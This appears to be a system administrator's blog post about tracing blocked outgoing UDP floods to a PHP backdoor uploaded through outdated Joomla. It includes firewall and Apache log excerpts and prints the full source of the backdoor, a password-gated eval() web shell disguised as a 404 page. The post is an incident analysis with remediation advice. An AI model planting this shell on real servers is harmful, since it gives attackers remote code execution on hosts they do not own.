Seeing strange UDP connections to 216.82.176.7?

Today the CSF firewall on one of our servers controlled by DirectAdmin started showing blocked outgoing UDP connections to 216.82.176.7 on ports 25, 80 and 443.

kernel: Firewall: *UDP_OUT Blocked* IN= OUT=eth0 SRC=X.X.X.X \
  DST=216.82.176.7 LEN=1421 TOS=0x00 PREC=0x00 TTL=64 ID=12594 \
  DF PROTO=UDP SPT=39792 DPT=80 LEN=1401 
kernel: Firewall: *UDP_OUT Blocked* IN= OUT=eth0 SRC=X.X.X.X \
  DST=216.82.176.7 LEN=1395 TOS=0x00 PREC=0x00 TTL=64 ID=14600 \
  DF PROTO=UDP SPT=46927 DPT=443 LEN=1375 
kernel: Firewall: *UDP_OUT Blocked* IN= OUT=eth0 SRC=X.X.X.X \
  DST=216.82.176.7 LEN=1395 TOS=0x00 PREC=0x00 TTL=64 ID=20589 \
  DF PROTO=UDP SPT=48261 DPT=25 LEN=1375 

The IP 216.82.176.7 belongs probably to a Bank in Cincinnati and I don’t know why something would try to connect there. I’ve noticed higher load too, so I started to investigate. Google returned only one thread initiated by Georgios Petasis.

Spending a while on grepping [Apache] logs gave me better results. I’ve found entries like these:

184.173.241.46 - - [19/Mar/2013:00:15:33 +0100] \
  "POST /tmp/haeadr.php?action=status HTTP/1.0" 200 496 "-" \
  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6"
184.173.241.59 - - [19/Mar/2013:00:27:52 +0100] \
  "POST /tmp/haeadr.php?action=status HTTP/1.0" 200 496 "-" \
  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6"
216.239.45.64 - - [19/Mar/2013:14:20:40 +0100] \
  "GET /tmp/haeadr.php HTTP/1.1" 200 496 "-" \
  "Python-urllib/2.7"
X.X.X.X - - [19/Mar/2013:14:36:52 +0100] \
  "POST //tmp/haeadr.php HTTP/1.1" 200 201 "-" "-"

So the next step to check is /tmp/haeadr.php located in the corresponding vhost directory. As you can see, the last line shown in the logs above starts with X.X.X.X – which is the IP address assigned to this particular vhost – I assume the attacker probably used the first request to /tmp/haeadr.php from his IP, then /tmp/haeadr.php generated the next request (multiple requests) to itself – that’s why the most requests originate from the IP assigned to this vhost and not the attacker (there are many following lines starting with X.X.X.X).

So the interesting part is probably the content of /tmp/haeadr.php, or maybe not, because there’s nothing special, and I did not try to modify this script to investigate more what code was sent by the “attacker”:

<?php
@set_time_limit(0);
@error_reporting(NULL);
@ini_set('display_errors',0);
@ignore_user_abort(TRUE);

if(md5(md5($_REQUEST['psbt']))=='68b414a3c1253aad1e638fcf4c214a1f' and $_REQUEST['mjdu']!=NULL)
{
    $_REQUEST['mjdu']=str_replace('\\"','"',$_REQUEST['mjdu']);
    $_REQUEST['mjdu']=str_replace("\\'","'",$_REQUEST['mjdu']);
    eval($_REQUEST['mjdu']);
    die();
    exit();
}
else
{
    echo '<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server </p><p>Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request</p></body ></html >';die();exit();
}
?>

No explanation is required, just remove this file, set correct directory/file permissions and probably upgrade Joomla located there.

The reasons for this attack are pretty standard on a shared hosting server:

  1. Irresponsible users.
  2. Outdated software – in this case Joomla or a plugin, that allowed the attacker to upload [PHP] backdoors.
  3. Wrong file and directory permissions.

Paranoia is Your friend

That’s why a firewall with paranoid output filtering is very important on a public server, especially when this server is located at OVH datacenters, because OVH‘s Anti-Hack overreacts sometimes and cuts off machines sending to much UDP. You have been warned ;-)

One thought on “Seeing strange UDP connections to 216.82.176.7?

  1. Pingback: Outdated Joomla websites with JCE used to attack Beneficial Data Processing Corp and Regions Financial Corporation | devlog

Leave a Reply

Your email address will not be published. Required fields are marked *